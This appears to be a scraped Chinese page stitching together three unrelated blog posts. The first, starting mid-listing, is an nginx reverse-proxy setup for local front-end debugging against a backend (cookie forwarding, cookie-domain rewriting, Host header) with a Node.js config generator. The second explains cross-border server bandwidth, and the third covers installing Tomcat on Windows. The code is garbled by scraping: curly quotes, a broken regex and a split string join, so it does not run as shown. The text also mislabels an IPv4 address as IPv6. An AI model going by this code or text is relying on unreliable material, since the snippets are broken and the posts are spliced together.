  18.  location ~* .(html|htm|gif|jpg|jpeg|bmp|png|ico|txt|js|css|swf|woff|woff2|ttf|json|svg|cur|vue|otf|eot)$ {
  19.  charset utf-8;
  20.  root D:/workspace/;
  21.  expires 3d;
  22.  }
  23.  location = /socket/v2 {
  24.  proxy_pass http://test.com;
  25.  proxy_redirect off;
  26.  proxy_http_version 1.1;
  27.  proxy_set_header Upgrade $http_upgrade;
  28.  proxy_set_header Connection “upgrade”;
  29.  proxy_set_header Host test.com;
  30.  proxy_set_header X-Real-IP $remote_addr;
  31.  proxy_set_header REMOTE-HOST $remote_addr;
  32.  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
  33.  proxy_connect_timeout 30;
  34.  proxy_send_timeout 30;
  35.  proxy_read_timeout 60;
  36.  proxy_buffer_size 256k;
  37.  proxy_buffers 4 256k;
  38.  }
  39.  location / {
  40.  proxy_pass http://test.com;
  41.  proxy_set_header Cookie $http_cookie;
  42.  proxy_cookie_domain test.com localhost;
  43.  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
  44.  proxy_set_header Host test.com;
  45.  proxy_set_header X-Real-IP $remote_addr;
  46.  proxy_set_header REMOTE-HOST $remote_addr;
  47.  }
  48.  }
  49. }

核心代码在三行代码上:

一段万能的nginx接口实现反向代理配置(推荐)值得收藏!
具体解释我也是一知半解:

  • 第一个是携带cookie,
  • 第二个设置cookie 的 domain
  • 第三个 设置真实的host

重要提示:以上3个的顺序不要颠倒,否则代理失败,我也不知道为什么。

如何在手机上调试呢?

手机上不可能直接访问localhost,可以把手机和电脑连接到同一个网段,使用电脑的ip进行访问。

但是这里只代理了localhost,并没有代理电脑的ip

所以,需要把是上面的server{…}拷贝一份,只需要把里面的localhost全部改成你的电脑ip就可以了,最终代码:

  1. worker_processes 1;
  2. events {
  3.  worker_connections 1024;
  4. }
  5. http {
  6.  include mime.types;
  7.  default_type application/octet-stream;
  8.  sendfile on;
  9.  keepalive_timeout 10;
  10.  server {
  11.  listen 80;
  12.  server_name localhost;
  13.  location =/ {
  14.  add_header X-Frame-Options SAMEORIGIN;
  15.  root D:/workspace/;
  16.  index index.html;
  17.  }
  18.  location ~* .(html|htm|gif|jpg|jpeg|bmp|png|ico|txt|js|css|swf|woff|woff2|ttf|json|svg|cur|vue|otf|eot)$ {
  19.  charset utf-8;
  20.  root D:/workspace/;
  21.  expires 3d;
  22.  }
  23.  location = /socket/v2 {
  24.  proxy_pass http://test.com;
  25.  proxy_redirect off;
  26.  proxy_http_version 1.1;
  27.  proxy_set_header Upgrade $http_upgrade;
  28.  proxy_set_header Connection “upgrade”;
  29.  proxy_set_header Host test.com;
  30.  proxy_set_header X-Real-IP $remote_addr;
  31.  proxy_set_header REMOTE-HOST $remote_addr;
  32.  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
  33.  proxy_connect_timeout 30;
  34.  proxy_send_timeout 30;
  35.  proxy_read_timeout 60;
  36.  proxy_buffer_size 256k;
  37.  proxy_buffers 4 256k;
  38.  }
  39.  location / {
  40.  proxy_pass http://test.com;
  41.  proxy_set_header Cookie $http_cookie;
  42.  proxy_cookie_domain test.com localhost;
  43.  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
  44.  proxy_set_header Host test.com;
  45.  proxy_set_header X-Real-IP $remote_addr;
  46.  proxy_set_header REMOTE-HOST $remote_addr;
  47.  }
  48.  }
  49.  server {
  50.  listen 8080;
  51.  server_name xx.xx.xx.xx;
  52.  location =/ {
  53.  add_header X-Frame-Options SAMEORIGIN;
  54.  root D:/workspace/;
  55.  index index.html;
  56.  }
  57.  location ~* .(html|htm|gif|jpg|jpeg|bmp|png|ico|txt|js|css|swf|woff|woff2|ttf|json|svg|cur|vue|otf|eot)$ {
  58.  charset utf-8;
  59.  root D:/workspace/;
  60.  expires 3d;
  61.  }
  62.  location = /socket/v2 {
  63.  proxy_pass http://test.com;
  64.  proxy_redirect off;
  65.  proxy_http_version 1.1;
  66.  proxy_set_header Upgrade $http_upgrade;
  67.  proxy_set_header Connection “upgrade”;
  68.  proxy_set_header Host test.com;
  69.  proxy_set_header X-Real-IP $remote_addr;
  70.  proxy_set_header REMOTE-HOST $remote_addr;
  71.  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
  72.  proxy_connect_timeout 30;
  73.  proxy_send_timeout 30;
  74.  proxy_read_timeout 60;
  75.  proxy_buffer_size 256k;
  76.  proxy_buffers 4 256k;
  77.  }
  78.  location / {
  79.  proxy_pass http://test.com;
  80.  proxy_set_header Cookie $http_cookie;
  81.  proxy_cookie_domain test.com xx.xx.xx.xx;
  82.  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
  83.  proxy_set_header Host test.com;
  84.  proxy_set_header X-Real-IP $remote_addr;
  85.  proxy_set_header REMOTE-HOST $remote_addr;
  86.  }
  87.  }
  88. }

访问方法:http://xx.xx.xx.xx:8080 即可

如果是打包工具生成增这个配置的话,可以用nodejs动态获取你电脑的ip

  1. function getIPAdress() {
  2.  var interfaces = require(‘os’).networkInterfaces();
  3.  for (var devName in interfaces) {
  4.  var iface = interfaces[devName];
  5.  for (var i = 0; i < iface.length; i++) {
  6.  var alias = iface[i];
  7.  if (alias.family === ‘IPv4’ && alias.address !== ‘127.0.0.1’ && !alias.internal) {
  8.  return alias.address;
  9.  }
  10.  }
  11.  }
  12. }

所以,这里贴出来一个动态生成nginx.config的工具

  1. function buildNginxConfig(config) {
  2.  function getIPAdress() {
  3.  var interfaces = require(‘os’).networkInterfaces();
  4.  for (var devName in interfaces) {
  5.  var iface = interfaces[devName];
  6.  for (var i = 0; i < iface.length; i++) {
  7.  var alias = iface[i];
  8.  if (alias.family === ‘IPv4’ && alias.address !== ‘127.0.0.1’ && !alias.internal) {
  9.  return alias.address;
  10.  }
  11.  }
  12.  }
  13.  }
  14.  var cwd = process.cwd().replace(/\/g, ‘/’) + ‘/app’;
  15.  var protocol = /https|443/.test(config.ip) ? ‘https’ : ‘http’;
  16.  var servers = [{
  17.  browserIp: ‘localhost’,
  18.  port: 80,
  19.  root: cwd,
  20.  serverIp: config.ip,
  21.  protocol: protocol,
  22.  }, {
  23.  browserIp: getIPAdress(),
  24.  port: 8080,
  25.  root: cwd,
  26.  serverIp: config.ip,
  27.  protocol: protocol,
  28.  }].map(function(item) {
  29.  return `
  30.  server {
  31.  listen ${item.port};
  32.  server_name ${item.browserIp};
  33.  location =/ {
  34.  add_header X-Frame-Options SAMEORIGIN;
  35.  root ${item.root};
  36.  index index.html;
  37.  }
  38.  location ~* \.(html|htm|gif|jpg|jpeg|bmp|png|ico|txt|js|css|swf|woff|woff2|ttf|json|svg|cur|vue|otf|eot)$ {
  39.  charset utf-8;
  40.  root ${item.root};
  41.  expires 3d;
  42.  }
  43.  location = /socket/v2 {
  44.  proxy_pass ${item.protocol}://${item.serverIp};
  45.  proxy_redirect off;
  46.  proxy_http_version 1.1;
  47.  proxy_set_header Upgrade $http_upgrade;
  48.  proxy_set_header Connection “upgrade”;
  49.  proxy_set_header Host ${item.serverIp};
  50.  proxy_set_header X-Real-IP $remote_addr;
  51.  proxy_set_header REMOTE-HOST $remote_addr;
  52.  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
  53.  proxy_connect_timeout 30;
  54.  proxy_send_timeout 30;
  55.  proxy_read_timeout 60;
  56.  proxy_buffer_size 256k;
  57.  proxy_buffers 4 256k;
  58.  }
  59.  location / {
  60.  proxy_pass ${item.protocol}://${item.serverIp};
  61.  proxy_set_header Cookie $http_cookie;
  62.  proxy_cookie_domain ${item.serverIp} ${item.browserIp};
  63.  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
  64.  proxy_set_header Host ${item.serverIp};
  65.  proxy_set_header X-Real-IP $remote_addr;
  66.  proxy_set_header REMOTE-HOST $remote_addr;
  67.  }
  68.  }`;
  69.  }).join(‘
  70. ‘);
  71.  var str = `worker_processes 1;
  72. events {
  73.  worker_connections 1024;
  74. }
  75. http {
  76.  include mime.types;
  77.  default_type application/octet-stream;
  78.  sendfile on;
  79.  keepalive_timeout 10;
  80.  ${servers}
  81. }`;
  82.  return str;
  83. }
  84. exports = module.exports = buildNginxConfig;

有了这个万能反向代理,可以随心所欲的玩转任何网站接口了。

美国100M独享服务器,国内下载速度能达到多少?

美国100M独享服务器租用,国内下载速度能达到多少?这个问题一直困扰着用户,觉得100M带宽按正常来说1:8的速率怎么也能达到10M多点。但是国内用户有时测试下载速度只有几百K。很多客户在购买美国服务器或者其他海外服务器时,会让销售人员保证下载速度是多少,或者在国内能跑多少M带宽?这些东西无论是哪个国家的服务器租用商都无法保证或者去预测的,因为影响下载速度的原因实在是太多了。

以美国100M独享服务器租用为例:

互联网是由传输介质(网线,光缆等)传输的,两个地区之间还有很多很多的路由交换节点,从本地网络– 运营商本地服务器 — 电信或网通国内骨干网 –国际带宽 — 海外本地网络 –机房网络 — 机房服务器等环节,环节都会影响下载速度。美国机房提供了100M独享带宽,但是经过路由节点时,并不知道线路上对路由器上限制了多少带宽。

美国100M独享服务器,国内下载速度能达到多少?

举个例子,美国到中国中间有10个路由节点。其中9个节点转发都可以达到100M,只有一个路由节点是10M,那么这个10M的路由节点必然会成为一个瓶颈。及时其他路由节点带宽再大,这个小水管这儿决定了整体的传输速率,就好比水管一样,无论管道有多大,流出的水的量是取决于水龙头的大小的。

美国100M独享服务器,国内下载速度能达到多少?

生活中也有这样的例子,就比如一座城市的道路,高架桥是10车道(好比10M带宽),但是走到匝道只有的2车道(好比2M),那么同时通车的能力就只能按照2车道的算了。

那么有的人会说,为什么不选择带宽大的路由走呢?路由默认选择的最快路径,不考虑带宽问题。其实很多时候在不知道是否堵车的情况下,默认也同样会选择最快的道路。

而从机房经过那么多的节点中,本地网络是非常重要,中间节点可以选择好的线路去避免,但是本地节点是无法绕过的。所以本地网络带宽情况也是影响网络速度的重要因素。可能有些客户会说我本地是20m的独享带宽,用美国的独享100m服务器连10m都保证不了吗?但是虽然您使用的是20M带宽,但是运营商会在下载速度方面进行限制的,咱们国内的带宽是非常贵的,如果运营商不做任何限制的话,在网络高峰期他们的付出的代价是无法估量的,其实也不只我们国家做了限制,韩国,日本,东南亚等国家对带宽都会做出限制的,这都是世界各国运营商心照不宣的。

美国100M独享服务器,国内下载速度能达到多少?这样的问题任何服务器运营商都无法给出准确的答案。

在Windows下安装Tomcat服务器

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选服务器。

在Windows下安装Tomcat服务器的方式有两种,一种是直接安装,一种是绿色版,解压后就可以直接使用的

这篇博客为大家介绍第二种方式

首先从http://download.csdn.net/detail/u010105970/9493219中下载Tomcat服务器

第一步将Tomcat服务器的压缩包放在D:develop目录下(其实可以放在任意目录下只是我通常将我的开发工具都放在这个目录下,便于管理)

解压并且打开后可以看到Tomcat的目录结构如下

文件解释:

bin:存放启动和关闭Tomcat的脚本文件

conf:存放Tomcat服务器的各种配置文件

lib:存放Tomcat服务器的支持jar包

logs:存放Tomcat的日志文件

temp:存放Tomcat运行时产生的临时文件

webapps:web应用所在目录,即供外界访问的web资源的存放目录

work:Tomcat的工作目录

完成上面的操作后就可以启动服务器了

打开命令行,进入Tomcat文件夹下的bin目录

输入startup命令启动Tomcat服务器

当弹出下图中得Dos窗口,表示Tomcat服务器成功的启动了

然后在浏览器中输入http://localhost:8080/当浏览器中出现下图所示的提示框表示Tomcat服务器成功的启动了

将自己的项目部署到Tomcat服务器上

在前面我已经介绍过了webapps是web应用所在目录,即供外界访问的web资源的存放目录,所以就在webapps目录下部署我们自己的项目,打开webapps文件夹后可以看到webapps文件夹中的目录结构如下

前面介绍的输入http://localhost:8080/后访问的网页其实访问的就是webapps文件夹下的Tomcat自带的这些文件夹中的文件

部署自己的web前,首先在webapps文件夹下新建一个app文件夹用于保存自己的web项目

然后在app文件夹中放一张名称为photo_04.jpg的图片

最后打开浏览器并且在浏览器中输入http://localhost:8080/app/photo_04.jpg可以访问到放在app文件夹下的photo_04.jpg

在不用购买域名的情况下在手机中访问这张图片

第一步:需要将Tomcat服务器和手机连接在同一局域网下,我的手机和电脑都连接在同一个路由器下,这样就表示手机和电脑连接在同一局域网下

第二步:查看服务器的ip地址(因为Tomcat安装在电脑中,所以服务器的ip地址就是电脑的ip地址),打开命令行,使用ipconfig命令可以查看主机的ip地址

上图中的IPV6表示本机的ip地址,也表示Tomcat服务器的ip地址

所以在浏览器中输入http://192.168.1.101:8080/app/photo_04.jpg可以访问到photo_04.jpg这张图片

将这个地址发送到手机后也可以在手机中访问到这张图片